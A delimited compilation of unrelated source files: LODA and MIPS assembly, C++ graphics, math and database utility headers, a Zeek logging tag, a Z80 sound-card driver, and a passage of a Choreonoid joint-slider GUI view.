cmp $4,$0
mul $2,$4
sub $2,18
mod $5,2
sub $5,2
add $5,$1
mov $6,$5
lpe
mov $0,$5
add $0,1
|
#include "aabb.hpp"
namespace vkg {
auto AABB::transform(glm::mat4 m) const -> AABB {
auto _min = glm::vec3(m[3]);
auto _max = _min;
auto p = glm::vec3(m[0]);
auto v0 = p * min.x;
auto v1 = p * max.x;
_min += glm::min(v0, v1);
_max += glm::max(v0, v1);
p = glm::vec3(m[1]);
v0 = p * min.y;
v1 = p * max.y;
_min += glm::min(v0, v1);
_max += glm::max(v0, v1);
p = glm::vec3(m[2]);
v0 = p * min.z;
v1 = p * max.z;
_min += glm::min(v0, v1);
_max += glm::max(v0, v1);
return {_min, _max};
}
auto AABB::transform(Transform trans) const -> AABB {
return transform(trans.toMatrix());
}
auto AABB::merge(glm::vec3 p) -> void {
min = glm::min(min, p);
max = glm::max(max, p);
}
auto AABB::merge(AABB other) -> void {
min = glm::min(min, other.min);
max = glm::max(max, other.max);
}
auto AABB::center() const -> glm::vec3 { return (min + max) / 2.f; }
auto AABB::halfRange() const -> glm::vec3 { return glm::abs(max - min) / 2.f; }
auto AABB::range() const -> glm::vec3 { return glm::abs(max - min); }
auto operator<<(std::ostream &os, const AABB &aabb) -> std::ostream & {
os << "min: " << glm::to_string(aabb.min) << " max: " << glm::to_string(aabb.max);
return os;
}
} |
#ifndef AVO_MATH_OPERATIONS_HPP_BJORN_SUNDIN_JUNE_2021
#define AVO_MATH_OPERATIONS_HPP_BJORN_SUNDIN_JUNE_2021
#include "../util/concepts.hpp"
#include <algorithm>
#include <cmath>
#include <cstring>
namespace avo::math {
/*
Returns 1 if the number is positive, 0 if it is 0 and -1 if it is negative.
*/
template<util::IsNumber T>
[[nodiscard]]
constexpr T sign(T const number) {
return static_cast<T>((number > T{}) - (number < T{}));
}
template<std::floating_point T>
[[nodiscard]]
constexpr T unit_clamp(T const value) {
return std::clamp(value, T{}, T{1});
}
template<util::IsNumber Return_, std::floating_point T>
[[nodiscard]]
constexpr Return_ floor(T const number) {
if (std::is_constant_evaluated()) {
return static_cast<Return_>(static_cast<std::int64_t>(number) - static_cast<std::int64_t>(number < 0));
}
else {
return static_cast<Return_>(std::floor(number));
}
}
template<util::IsNumber Return_, std::floating_point T>
[[nodiscard]]
constexpr Return_ ceil(T const number) {
if (std::is_constant_evaluated()) {
return static_cast<Return_>(static_cast<std::int64_t>(number) + static_cast<std::int64_t>(number > 0));
}
else {
return static_cast<Return_>(std::ceil(number));
}
}
template<util::IsNumber Return_, std::floating_point T>
[[nodiscard]]
constexpr Return_ round(T const number) {
if (std::is_constant_evaluated()) {
return static_cast<Return_>(static_cast<std::int64_t>(number + T{0.5}*sign(number)));
}
else {
return static_cast<Return_>(std::round(number));
}
}
template<util::IsNumber T>
[[nodiscard]]
constexpr T abs(T const number) {
if (std::is_constant_evaluated()) {
return number >= T{} ? number : -number;
}
else {
return std::abs(number);
}
}
template<std::floating_point T>
[[nodiscard]]
constexpr bool approximately_equal(T const a, T const b, T const max_difference = static_cast<T>(1e-6))
{
return math::abs(a - b) <= max_difference;
}
/*
Returns a number multiplied by itself.
Can be useful if you want to quickly square a longer expression.
*/
template<util::IsNumber T>
[[nodiscard]]
constexpr T square(T const x) noexcept {
return x*x;
}
/*
Returns the inverse square root of a float using a faster but less accurate algorithm.
It is about 8% to 15% faster than 1.f/std::sqrt(x) with gcc -O3 on my computer.
*/
[[nodiscard]]
inline float fast_inverse_sqrt(float const input) noexcept
{
static_assert(std::numeric_limits<float>::is_iec559, "fast_inverse_sqrt error: float type must follow IEEE 754-1985 standard.");
static_assert(sizeof(float) == 4, "fast_inverse_sqrt error: sizeof(float) must be 4.");
// Only way to do type punning without undefined behavior it seems.
std::uint32_t bits;
std::memcpy(&bits, &input, 4);
bits = 0x5f3759df - bits/2;
float approximation;
std::memcpy(&approximation, &bits, 4);
return approximation*(1.5f - 0.5f*input*approximation*approximation);
}
template<class T>
[[nodiscard]]
constexpr decltype(auto) max(T&& value) {
return std::forward<T>(value);
}
/*
Returns the parameter that is compared largest.
All types must be totally ordered with each other.
All types must be convertible to each other, but this is
best checked by the actual code than by a constraint.
*/
template<class T0, class T1, class ... T2> requires std::totally_ordered_with<T0, T1>
[[nodiscard]]
constexpr decltype(auto) max(T0&& first, T1&& second, T2&& ... arguments)
{
return (first > second) ?
max(std::forward<T0>(first), std::forward<T2>(arguments)...) :
max(std::forward<T1>(second), std::forward<T2>(arguments)...);
}
template<class T>
[[nodiscard]]
constexpr decltype(auto) min(T&& value) {
return std::forward<T>(value);
}
/*
Returns the parameter that is compared smallest.
All types must be totally ordered with each other.
All types must be convertible to each other, but this is
best checked by the actual code than by a constraint.
*/
template<class T0, class T1, class ... T2> requires std::totally_ordered_with<T0, T1>
[[nodiscard]]
constexpr decltype(auto) min(T0&& first, T1&& second, T2&& ... arguments)
{
return (first < second) ?
min(std::forward<T0>(first), std::forward<T2>(arguments)...) :
min(std::forward<T1>(second), std::forward<T2>(arguments)...);
}
} // namespace avo::math
#endif
|
// See the file "COPYING" in the main distribution directory for copyright.
#include "Tag.h"
#include "Manager.h"
const logging::Tag logging::Tag::Error;
logging::Tag::Tag(type_t type, subtype_t subtype)
: zeek::Tag(log_mgr->GetTagType(), type, subtype)
{
}
logging::Tag& logging::Tag::operator=(const logging::Tag& other)
{
zeek::Tag::operator=(other);
return *this;
}
logging::Tag& logging::Tag::operator=(const logging::Tag&& other) noexcept
{
zeek::Tag::operator=(other);
return *this;
}
const zeek::EnumValPtr& logging::Tag::AsVal() const
{
return zeek::Tag::AsVal(log_mgr->GetTagType());
}
zeek::EnumVal* logging::Tag::AsEnumVal() const
{
return AsVal().get();
}
logging::Tag::Tag(zeek::EnumValPtr val)
: zeek::Tag(std::move(val))
{ }
logging::Tag::Tag(zeek::EnumVal* val)
: zeek::Tag({zeek::NewRef{}, val})
{ }
|
#include "test_signal.h"
#include "test_item_id.h"
#include "test_ranges.h"
#include "test_lines.h"
#include "test_grid.h"
#include <QtTest/QtTest>
int main(int argc, char* argv[])
{
QCoreApplication app(argc, argv);
int result = 0;
QList<const QMetaObject*> tests;
// register tests
tests.append(&TestSignal::staticMetaObject);
tests.append(&TestItemID::staticMetaObject);
tests.append(&TestRanges::staticMetaObject);
tests.append(&TestLines::staticMetaObject);
tests.append(&TestGrid::staticMetaObject);
// run tests
foreach (const QMetaObject* testMetaObject, tests)
{
QScopedPointer<QObject> test(testMetaObject->newInstance());
Q_ASSERT(test);
if (test)
{
result |= QTest::qExec(test.data(), argc, argv);
}
}
return result;
}
|
# @created by Le Nhut Nam
# @ vn.hcmus.fit.sv18120061.computerarchitecture.mips
# Nhap vao mot chuoi, xuat ra chuoi dao nguoc
.data
msg1: .asciiz "Nhap vao mot chuoi: "
msg2: .asciiz "Chuoi nguoc la: "
str: .space 256
newLine: .asciiz "\n"
.text
# Xuat msg1
li $v0, 4
la $a0, msg1
syscall
# Nhap chuoi
li $v0, 8
la $a0, str
li $a1, 256
syscall
add $t0, $a0, $zero
lb $t5, newLine
find_end:
lb $t1, ($t0)
addi $t0, $t0, 1
beq $t5, $t1, end
bne $t1, $zero, find_end
end:
addi $t0, $t0, -2
swap:
lb $t2, ($a0)
lb $t3, ($t0)
sb $t2, ($t0)
sb $t3, ($a0)
addi $a0, $a0, 1
addi $t0, $t0, -1
ble $a0, $t0, swap
li $v0, 4
la $a0, str
syscall
li $v0, 10
syscall
|
/* Copyright (c) 2019, isaponsoft (Isao Shibuya) All rights reserved. *
* Use of this source code is governed by a BSD-style license that *
* can be found in the LICENSE file. */
#ifndef __libamtrs__unixdrv__chrono__datetime__hpp
#define __libamtrs__unixdrv__chrono__datetime__hpp
#include <time.h>
AMTRS_NAMESPACE_BEGIN
AMTRS_NAMESPACE_END
#endif
|
; A100803: A100802(m) where A100802(m) > A100802(m-1).
; 1,3,3,7,3,7,3,7,11,3,11,7,3,7,11,11,3,11,7,3,11,7,11,15,7,3,7,3,7,27,7,11,3,19,3,11,11,7,11,11,3,19,3,7,3,23,23,7,3,7,11,3,19,11,11,11,3,11,7,3,19,27,7,3,7,27,11,19,3,7,11,15,11,11,7,11,15,7,15,19,3,19,3,11
mov $30,$0
mov $32,2
lpb $32
clr $0,30
mov $0,$30
sub $32,1
add $0,$32
sub $0,1
add $5,2
mov $27,$0
add $0,$5
add $0,$5
sub $0,3
cal $0,40 ; The prime numbers.
mov $3,$0
mul $3,2
mov $1,$3
sub $1,14
div $1,4
mul $1,2
add $1,8
mov $29,$27
mul $29,3
add $1,$29
mov $33,$32
lpb $33
mov $31,$1
sub $33,1
lpe
lpe
lpb $30
mov $30,0
sub $31,$1
lpe
mov $1,$31
sub $1,4
mul $1,2
add $1,1
|
/* Various utility definitions for libpqxx.
*
* DO NOT INCLUDE THIS FILE DIRECTLY; include pqxx/util instead.
*
* Copyright (c) 2000-2021, Jeroen T. Vermeulen.
*
* See COPYING for copyright license. If you did not receive a file called
* COPYING with this source code, please notify the distributor of this
* mistake, or contact the author.
*/
#ifndef PQXX_H_UTIL
#define PQXX_H_UTIL
#include "pqxx/compiler-public.hxx"
#include "pqxx/internal/compiler-internal-pre.hxx"
#include <cctype>
#include <cstdio>
#include <functional>
#include <iterator>
#include <limits>
#include <memory>
#include <stdexcept>
#include <string>
#include <string_view>
#include <type_traits>
#include <typeinfo>
#include <vector>
#if __has_include(<version>)
# include <version>
#endif
#include "pqxx/except.hxx"
#include "pqxx/internal/encodings.hxx"
#include "pqxx/types.hxx"
#include "pqxx/version.hxx"
/// The home of all libpqxx classes, functions, templates, etc.
namespace pqxx
{}
#include <pqxx/internal/libpq-forward.hxx>
/// Internal items for libpqxx' own use. Do not use these yourself.
namespace pqxx::internal
{
/// Efficiently concatenate two strings.
/** This is a special case of concatenate(), needed because dependency
* management does not let us use that function here.
*/
[[nodiscard]] inline std::string cat2(std::string_view x, std::string_view y)
{
std::string buf;
auto const xs{std::size(x)}, ys{std::size(y)};
buf.resize(xs + ys);
x.copy(std::data(buf), xs);
y.copy(std::data(buf) + xs, ys);
return buf;
}
} // namespace pqxx::internal
namespace pqxx
{
using namespace std::literals;
/// Suppress compiler warning about an unused item.
template<typename... T> inline void ignore_unused(T &&...) {}
/// Cast a numeric value to another type, or throw if it underflows/overflows.
/** Both types must be arithmetic types, and they must either be both integral
* or both floating-point types.
*/
template<typename TO, typename FROM>
inline TO check_cast(FROM value, std::string_view description)
{
static_assert(std::is_arithmetic_v<FROM>);
static_assert(std::is_arithmetic_v<TO>);
static_assert(std::is_integral_v<FROM> == std::is_integral_v<TO>);
// The rest of this code won't quite work for bool, but bool is trivially
// convertible to other arithmetic types as far as I can see.
if constexpr (std::is_same_v<FROM, bool>)
return static_cast<TO>(value);
// Depending on our "if constexpr" conditions, this parameter may not be
// needed. Some compilers will warn.
ignore_unused(description);
using from_limits = std::numeric_limits<decltype(value)>;
using to_limits = std::numeric_limits<TO>;
if constexpr (std::is_signed_v<FROM>)
{
if constexpr (std::is_signed_v<TO>)
{
if (value < to_limits::lowest())
throw range_error{internal::cat2("Cast underflow: "sv, description)};
}
else
{
// FROM is signed, but TO is not. Treat this as a special case, because
// there may not be a good broader type in which the compiler can even
// perform our check.
if (value < 0)
throw range_error{internal::cat2(
"Casting negative value to unsigned type: "sv, description)};
}
}
else
{
// No need to check: the value is unsigned so can't fall below the range
// of the TO type.
}
if constexpr (std::is_integral_v<FROM>)
{
using unsigned_from = std::make_unsigned_t<FROM>;
using unsigned_to = std::make_unsigned_t<TO>;
constexpr auto from_max{static_cast<unsigned_from>((from_limits::max)())};
constexpr auto to_max{static_cast<unsigned_to>((to_limits::max)())};
if constexpr (from_max > to_max)
{
if (static_cast<unsigned_from>(value) > to_max)
throw range_error{internal::cat2("Cast overflow: "sv, description)};
}
}
else if constexpr ((from_limits::max)() > (to_limits::max)())
{
if (value > (to_limits::max)())
throw range_error{internal::cat2("Cast overflow: ", description)};
}
return static_cast<TO>(value);
}
/** Check library version at link time.
*
* Ensures a failure when linking an application against a radically
* different libpqxx version than the one against which it was compiled.
*
* Sometimes application builds fail in unclear ways because they compile
* using headers from libpqxx version X, but then link against libpqxx
* binary version Y. A typical scenario would be one where you're building
* against a libpqxx which you have built yourself, but a different version
* is installed on the system.
*
* The check_library_version template is declared for any library version,
* but only actually defined for the version of the libpqxx binary against
* which the code is linked.
*
* If the library binary is a different version than the one declared in
* these headers, then this call will fail to link: there will be no
* definition for the function with these exact template parameter values.
* There will be a definition, but the version in the parameter values will
* be different.
*/
inline PQXX_PRIVATE void check_version()
{
// There is no particular reason to do this here in @c connection, except
// to ensure that every meaningful libpqxx client will execute it. The call
// must be in the execution path somewhere or the compiler won't try to link
// it. We can't use it to initialise a global or class-static variable,
// because a smart compiler might resolve it at compile time.
//
// On the other hand, we don't want to make a useless function call too
// often for performance reasons. A local static variable is initialised
// only on the definition's first execution. Compilers will be well
// optimised for this behaviour, so there's a minimal one-time cost.
static auto const version_ok{internal::PQXX_VERSION_CHECK()};
ignore_unused(version_ok);
}
/// Descriptor of library's thread-safety model.
/** This describes what the library knows about various risks to thread-safety.
*/
struct PQXX_LIBEXPORT thread_safety_model
{
/// Is the underlying libpq build thread-safe?
bool safe_libpq = false;
/// Is Kerberos thread-safe?
/** @warning Is currently always @c false.
*
* If your application uses Kerberos, all accesses to libpqxx or Kerberos
* must be serialized. Confine their use to a single thread, or protect it
* with a global lock.
*/
bool safe_kerberos = false;
/// A human-readable description of any thread-safety issues.
std::string description;
};
/// Describe thread safety available in this build.
[[nodiscard]] PQXX_LIBEXPORT thread_safety_model describe_thread_safety();
#if defined(PQXX_HAVE_CONCEPTS)
# define PQXX_POTENTIAL_BINARY_ARG pqxx::potential_binary
#else
# define PQXX_POTENTIAL_BINARY_ARG typename
#endif
/// Cast binary data to a type that libpqxx will recognise as binary.
/** There are many different formats for storing binary data in memory. You
* may have yours as a @c std::string, or a @c std::vector<uchar_t>, or one of
* many other types.
*
* But for libpqxx to recognise your data as binary, it needs to be a
* @c std::basic_string<std::byte>, or a @c std::basic__string_view<std::byte>;
* or in C++20 or better, any contiguous block of @c std::byte.
*
* Use @c binary_cast as a convenience helper to cast your data as a
* @c std::basic_string_view<std::byte>.
*
* @warning There are two things you should be aware of! First, the data must
* be contiguous in memory. In C++20 the compiler will enforce this, but in
* C++17 it's your own problem. Second, you must keep the object where you
* store the actual data alive for as long as you might use this function's
* return value.
*/
template<PQXX_POTENTIAL_BINARY_ARG TYPE>
std::basic_string_view<std::byte> binary_cast(TYPE const &data)
{
static_assert(sizeof(value_type<TYPE>) == 1);
return std::basic_string_view<std::byte>{
reinterpret_cast<std::byte const *>(
const_cast<strip_t<decltype(*std::data(data))> const *>(
std::data(data))),
std::size(data)};
}
#if defined(PQXX_HAVE_CONCEPTS)
template<typename CHAR>
concept char_sized = (sizeof(CHAR) == 1);
# define PQXX_CHAR_SIZED_ARG char_sized
#else
# define PQXX_CHAR_SIZED_ARG typename
#endif
/// Construct a type that libpqxx will recognise as binary.
/** Takes a data pointer and a size, without being too strict about their
* types, and constructs a @c std::basic_string_view<std::byte> pointing to
* the same data.
*
* This makes it a little easier to turn binary data, in whatever form you
* happen to have it, into binary data as libpqxx understands it.
*/
template<PQXX_CHAR_SIZED_ARG CHAR, typename SIZE>
std::basic_string_view<std::byte> binary_cast(CHAR const *data, SIZE size)
{
static_assert(sizeof(CHAR) == 1);
return std::basic_string_view<std::byte>{
reinterpret_cast<std::byte const *>(data),
check_cast<std::size_t>(size, "binary data size")};
}
/// The "null" oid.
constexpr oid oid_none{0};
} // namespace pqxx
/// Private namespace for libpqxx's internal use; do not access.
/** This namespace hides definitions internal to libpqxx. These are not
* supposed to be used by client programs, and they may change at any time
* without notice.
*
* Conversely, if you find something in this namespace tremendously useful, by
* all means do lodge a request for its publication.
*
* @warning Here be dragons!
*/
namespace pqxx::internal
{
using namespace std::literals;
/// Describe an object for humans, based on class name and optional name.
/** Interprets an empty name as "no name given."
*/
[[nodiscard]] std::string
describe_object(std::string_view class_name, std::string_view name);
/// Check validity of registering a new "guest" in a "host."
/** The host might be e.g. a connection, and the guest a transaction. The
* host can only have one guest at a time, so it is an error to register a new
* guest while the host already has a guest.
*
* If the new registration is an error, this function throws a descriptive
* exception.
*
* Pass the old guest (if any) and the new guest (if any), for both, a type
* name (at least if the guest is not null), and optionally an object name
* (but which may be omitted if the caller did not assign one).
*/
void check_unique_register(
void const *old_guest, std::string_view old_class, std::string_view old_name,
void const *new_guest, std::string_view new_class,
std::string_view new_name);
/// Like @c check_unique_register, but for un-registering a guest.
/** Pass the guest which was registered, as well as the guest which is being
* unregistered, so that the function can check that they are the same one.
*/
void check_unique_unregister(
void const *old_guest, std::string_view old_class, std::string_view old_name,
void const *new_guest, std::string_view new_class,
std::string_view new_name);
/// Compute buffer size needed to escape binary data for use as a BYTEA.
/** This uses the hex-escaping format. The return value includes room for the
* "\x" prefix.
*/
constexpr std::size_t size_esc_bin(std::size_t binary_bytes) noexcept
{
return 2 + (2 * binary_bytes) + 1;
}
/// Compute binary size from the size of its escaped version.
/** Do not include a terminating zero in @c escaped_bytes.
*/
constexpr std::size_t size_unesc_bin(std::size_t escaped_bytes) noexcept
{
return (escaped_bytes - 2) / 2;
}
// TODO: Use actual binary type for "data".
/// Hex-escape binary data into a buffer.
/** The buffer must be able to accommodate
* @c size_esc_bin(std::size(binary_data)) bytes, and the function will write
* exactly that number of bytes into the buffer. This includes a trailing
* zero.
*/
void PQXX_LIBEXPORT
esc_bin(std::basic_string_view<std::byte> binary_data, char buffer[]) noexcept;
/// Hex-escape binary data into a std::string.
std::string PQXX_LIBEXPORT
esc_bin(std::basic_string_view<std::byte> binary_data);
/// Reconstitute binary data from its escaped version.
void PQXX_LIBEXPORT
unesc_bin(std::string_view escaped_data, std::byte buffer[]);
/// Reconstitute binary data from its escaped version.
std::basic_string<std::byte>
PQXX_LIBEXPORT unesc_bin(std::string_view escaped_data);
/// Transitional: std::ssize(), or custom implementation if not available.
template<typename T> auto ssize(T const &c)
{
#if defined(__cpp_lib_ssize) && __cplusplus >= __cpp_lib_ssize
return std::ssize(c);
#else
using signed_t = std::make_signed_t<decltype(std::size(c))>;
return static_cast<signed_t>(std::size(c));
#endif // __cpp_lib_ssize
}
/// Wait.
/** This is normally @c std::this_thread::sleep_for(). But MinGW's @c <thread>
* doesn't work, so we must be careful about including it.
*/
void PQXX_LIBEXPORT wait_for(unsigned int microseconds);
} // namespace pqxx::internal
#include "pqxx/internal/compiler-internal-post.hxx"
#endif
|
;
; DalSoRiR2 YMF278B OPL4
;
DalSoRiR2_FM_BASE_PORT: equ 0C4H
DalSoRiR2_WAVE_BASE_PORT: equ 07EH
DalSoRiR2_CONFIG: equ 6700H
DalSoRiR2_C0_ENABLE: equ 01H
DalSoRiR2_C4_ENABLE: equ 02H
DalSoRiR2_YRW801_DISABLE: equ 20H
DalSoRiR2: MACRO ?fmbase = DalSoRiR2_FM_BASE_PORT
this:
super: OPL4 ?fmbase, DalSoRiR2_WAVE_BASE_PORT, DalSoRiR2_name
slot:
db 0
SafeWriteRegister: equ super.SafeWriteRegister
SafeWriteRegister2: equ super.SafeWriteRegister2
ProcessRAMDataBlock: equ super.ProcessRAMDataBlock
; e = register
; d = value
SafeWriteRegisterWave:
ld a,e
cp OPL4_WAVE_MEMORY_CONTROL
jr nz,super.SafeWriteRegisterWave
ld a,d
and 00011100B
ld d,a
ld a,e
jr super.WriteRegisterWave
; dehl = size
; iy = reader
ProcessROMDataBlock:
ld ix,this
jp DalSoRiR2_ProcessROMDataBlock
ENDM
; ix = this
; iy = drivers
DalSoRiR2_Construct:
call Driver_Construct
call DalSoRiR2_Detect
jp nc,Driver_NotFound
jp OPL4_Reset
; ix = this
DalSoRiR2_Destruct: PROC
call OPL4_Destruct
call Driver_IsFound
ret nc
ld hl,JIFFY
ld c,(hl)
Loop:
halt
ld a,(hl) ; wait 16 ms for sounds to die out
sub c
cp 2
jr c,Loop
ld a,DalSoRiR2_C4_ENABLE
jr DalSoRiR2_SetConfig ; re-enable YRW801 ROM
ENDP
; dehl = size
; ix = this
; iy = reader
DalSoRiR2_ProcessROMDataBlock:
push de
push hl
ld a,DalSoRiR2_YRW801_DISABLE | DalSoRiR2_C4_ENABLE
call DalSoRiR2_SetConfig
pop hl
pop de
jp OPL4_ProcessROMDataBlock
; a = configuration
; ix = this
DalSoRiR2_SetConfig:
ld e,a
ld a,(ix + DalSoRiR2.slot)
ld hl,DalSoRiR2_CONFIG
jp Memory_WriteSlot
; ix = this
; iy = drivers
; a <- slot
; f <- c: found
DalSoRiR2_Detect:
ld bc,Drivers.moonSound
push ix
call Drivers_TryGet_IY
pop ix
ld hl,DalSoRiR2_MatchSlot
jp nc,Memory_SearchSlots
and a
ret
; a = slot id
; ix = this
; f <- c: found
DalSoRiR2_MatchSlot: PROC
call Utils_IsNotRAMSlot
ret nc
ld bc,8
ld de,DalSoRiR2_emptyID
ld hl,4000H
call Memory_MatchSlotString
jr c,Continue
ld bc,5
ld de,DalSoRiR2_msxAudioBIOSID
ld hl,0080H
call Memory_MatchSlotString
ret nc
Continue:
ld (ix + DalSoRiR2.slot),a
xor a
call DalSoRiR2_SetConfig ; disable all ports
call OPL4_Detect
jr c,NotFound
ld a,DalSoRiR2_C4_ENABLE
call DalSoRiR2_SetConfig ; enable C4 port
call OPL4_Detect
jr nc,NotFound
Found:
scf
ret
NotFound:
and a
ret
ENDP
;
SECTION RAM
DalSoRiR2_instance: DalSoRiR2
ENDS
DalSoRiR2_interface:
InterfaceOffset DalSoRiR2.SafeWriteRegister
InterfaceOffset DalSoRiR2.SafeWriteRegister2
InterfaceOffset DalSoRiR2.SafeWriteRegisterWave
InterfaceOffset DalSoRiR2.ProcessROMDataBlock
InterfaceOffset DalSoRiR2.ProcessRAMDataBlock
DalSoRiR2_name:
db "DalSoRi R2",0
DalSoRiR2_emptyID:
db 0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH
DalSoRiR2_msxAudioBIOSID:
db "AUDIO"
|
/** \file
\author Shin'ichiro Nakaoka
*/
#include "JointSliderView.h"
#include "BodyItem.h"
#include "BodyBar.h"
#include "LinkSelectionView.h"
#include <cnoid/Body>
#include <cnoid/Link>
#include <cnoid/Archive>
#include <cnoid/EigenUtil>
#include <cnoid/Buttons>
#include <cnoid/SpinBox>
#include <cnoid/Slider>
#include <cnoid/Separator>
#include <cnoid/LazyCaller>
#include <cnoid/ViewManager>
#include <QGridLayout>
#include <QScrollArea>
#include <QKeyEvent>
#include <boost/format.hpp>
#include <boost/lexical_cast.hpp>
#include "gettext.h"
using namespace std;
using namespace std::placeholders;
using namespace cnoid;
namespace {
class SliderUnit;
// slider resolution
const double r = 1000000.0;
}
namespace cnoid {
class JointSliderViewImpl : public QObject
{
public:
JointSliderViewImpl(JointSliderView* self);
~JointSliderViewImpl();
JointSliderView* self;
vector<int> activeJointIds;
vector<SliderUnit*> jointSliders;
BodyItemPtr currentBodyItem;
Connection connectionOfKinematicStateChanged;
Connection connectionOfCurrentBodyItemChanged;
LazyCaller updateJointPositionsLater;
Connection connectionOfBodyItemDetachedFromRoot;
Connection connectionOfLinkSelectionChanged;
ToggleToolButton showAllToggle;
ToggleToolButton jointIdToggle;
ToggleToolButton nameToggle;
ToggleToolButton labelOnLeftToggle;
ToggleToolButton putSpinEntryCheck;
ToggleToolButton putSliderCheck;
SpinBox numColumnsSpin;
QButtonGroup unitRadioGroup;
ToggleToolButton degreeRadio;
ToggleToolButton radianRadio;
QScrollArea scrollArea;
QWidget sliderGridBase;
QGridLayout sliderGrid;
void updateSliderGrid();
void attachSliderUnits(SliderUnit* unit, int row, int col);
void initializeSliders(int num);
void onNumColumnsChanged(int n);
void onUnitChanged();
bool eventFilter(QObject* object, QEvent* event);
bool onSliderKeyPressEvent(Slider* slider, QKeyEvent* event);
void focusSlider(int index);
void onJointSliderChanged(int sliderIndex);
void updateJointPositions();
void onCurrentBodyItemChanged(BodyItem* bodyItem);
void enableConnectionToSigKinematicStateChanged(bool on);
bool storeState(Archive& archive);
bool restoreState(const Archive& archive);
void restoreCurrentBodyItem(const Archive& archive);
};
}
namespace {
class SliderUnit
{
public:
JointSliderViewImpl* viewImpl;
int index;
QLabel idLabel;
QLabel nameLabel;
DoubleSpinBox spin;
QLabel lowerLimitLabel;
Slider slider;
QLabel upperLimitLabel;
double unitConversionRatio;
SliderUnit(JointSliderViewImpl* viewImpl, int index)
: viewImpl(viewImpl),
index(index),
idLabel(&viewImpl->sliderGridBase),
nameLabel(&viewImpl->sliderGridBase),
spin(&viewImpl->sliderGridBase),
lowerLimitLabel(&viewImpl->sliderGridBase),
slider(Qt::Horizontal, &viewImpl->sliderGridBase),
upperLimitLabel(&viewImpl->sliderGridBase) {
idLabel.setAlignment(Qt::AlignRight | Qt::AlignVCenter);
nameLabel.setAlignment(Qt::AlignCenter);
nameLabel.setTextInteractionFlags(Qt::TextSelectableByMouse);
lowerLimitLabel.setAlignment(Qt::AlignCenter);
upperLimitLabel.setAlignment(Qt::AlignCenter);
spin.setAlignment(Qt::AlignCenter);
spin.sigValueChanged().connect(std::bind(&SliderUnit::onSpinValueChanged, this, _1));
slider.setSingleStep(0.1 * r);
slider.setProperty("JointSliderIndex", index);
slider.installEventFilter(viewImpl);
slider.sigValueChanged().connect(std::bind(&SliderUnit::onSliderValueChanged, this, _1));
}
void setRangeLabelValues(double lower, double upper, int precision){
if(fabs(lower) > 10000.0){
lowerLimitLabel.setText(QString::number(lower, 'g', precision));
} else {
lowerLimitLabel.setText(QString::number(lower, 'f', precision));
}
if(fabs(upper) > 10000.0){
upperLimitLabel.setText(QString::number(upper, 'g', precision));
} else {
upperLimitLabel.setText(QString::number(upper, 'f', precision));
}
}
void initialize(Link* joint){
if(viewImpl->putSpinEntryCheck.isChecked()){
spin.show();
} else {
spin.hide();
}
if(viewImpl->putSliderCheck.isChecked()){
lowerLimitLabel.show();
slider.show();
upperLimitLabel.show();
} else {
lowerLimitLabel.hide();
slider.hide();
upperLimitLabel.hide();
}
nameLabel.setText(joint->name().c_str());
if(viewImpl->nameToggle.isChecked()){
nameLabel.show();
} else {
nameLabel.hide();
}
idLabel.setText(QString("%1:").arg(joint->jointId()));
if(viewImpl->jointIdToggle.isChecked()){
idLabel.show();
} else {
idLabel.hide();
}
unitConversionRatio = 1.0;
double max;
if(joint->isRotationalJoint()){
if(viewImpl->degreeRadio.isChecked()){
unitConversionRatio = 180.0 / PI;
}
max = unitConversionRatio * 2.0 * PI;
} else { // SLIDE_JOINT
max = std::numeric_limits<double>::max();
}
double lower =
joint->q_lower() == -std::numeric_limits<double>::max() ?
-max : unitConversionRatio * joint->q_lower();
double upper =
joint->q_upper() == std::numeric_limits<double>::max() ?
max : unitConversionRatio * joint->q_upper();
slider.blockSignals(true);
spin.blockSignals(true);
slider.setRange(lower * r, upper * r);
if(unitConversionRatio != 1.0){ // degree mode
spin.setDecimals(1);
spin.setRange(-999.9, 999.9);
spin.setSingleStep(0.1);
setRangeLabelValues(lower, upper, 1);
} else { // radian or meter
spin.setDecimals(4);
spin.setRange(-9.99, 9.99);
spin.setSingleStep(0.0001);
setRangeLabelValues(lower, upper, 3);
}
spin.blockSignals(false);
slider.blockSignals(false);
updatePosition(joint);
}
double value() const {
return spin.value() / unitConversionRatio;
}
void updatePosition(Link* joint) {
double v = unitConversionRatio * joint->q();
if(v != spin.value()){
slider.blockSignals(true);
spin.blockSignals(true);
spin.setValue(v);
slider.setValue(v * r);
spin.blockSignals(false);
slider.blockSignals(false);
}
}
void onSliderValueChanged(double value){
spin.blockSignals(true);
spin.setValue(value / r);
spin.blockSignals(false);
viewImpl->onJointSliderChanged(index);
}
void onSpinValueChanged(double value){
slider.blockSignals(true);
slider.setValue(value * r);
slider.blockSignals(false);
viewImpl->onJointSliderChanged(index);
}
void removeWidgesFrom(QGridLayout& grid){
grid.removeWidget(&idLabel);
grid.removeWidget(&nameLabel);
grid.removeWidget(&spin);
grid.removeWidget(&lowerLimitLabel);
grid.removeWidget(&slider);
grid.removeWidget(&upperLimitLabel);
}
};
}
void JointSliderView::initializeClass(ExtensionManager* ext)
{
ext->viewManager().registerClass<JointSliderView>(
"JointSliderView", N_("Joint Sliders"), ViewManager::SINGLE_DEFAULT);
}
JointSliderView::JointSliderView()
{
impl = new JointSliderViewImpl(this);
}
JointSliderViewImpl::JointSliderViewImpl(JointSliderView* self) :
self(self)
{
self->setDefaultLayoutArea(View::CENTER);
self->setSizePolicy(QSizePolicy::Ignored, QSizePolicy::Ignored);
QVBoxLayout* vbox = new QVBoxLayout();
vbox->setSpacing(0);
QHBoxLayout* hbox = new QHBoxLayout();
hbox->setSpacing(0);
showAllToggle.setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Expanding);
showAllToggle.setText(_("All"));
showAllToggle.setToolTip(_("Show all the joints including unselected ones"));
showAllToggle.setChecked(true);
showAllToggle.sigToggled().connect(std::bind(&JointSliderViewImpl::updateSliderGrid, this));
hbox->addWidget(&showAllToggle);
jointIdToggle.setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Expanding);
jointIdToggle.setText(_("ID"));
jointIdToggle.setToolTip(_("Show joint IDs"));
jointIdToggle.setChecked(false);
jointIdToggle.sigToggled().connect(std::bind(&JointSliderViewImpl::updateSliderGrid, this));
hbox->addWidget(&jointIdToggle);
nameToggle.setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Expanding);
nameToggle.setText(_("Name"));
nameToggle.setToolTip(_("Show joint names"));
nameToggle.setChecked(true);
nameToggle.sigToggled().connect(std::bind(&JointSliderViewImpl::updateSliderGrid, this));
hbox->addWidget(&nameToggle);
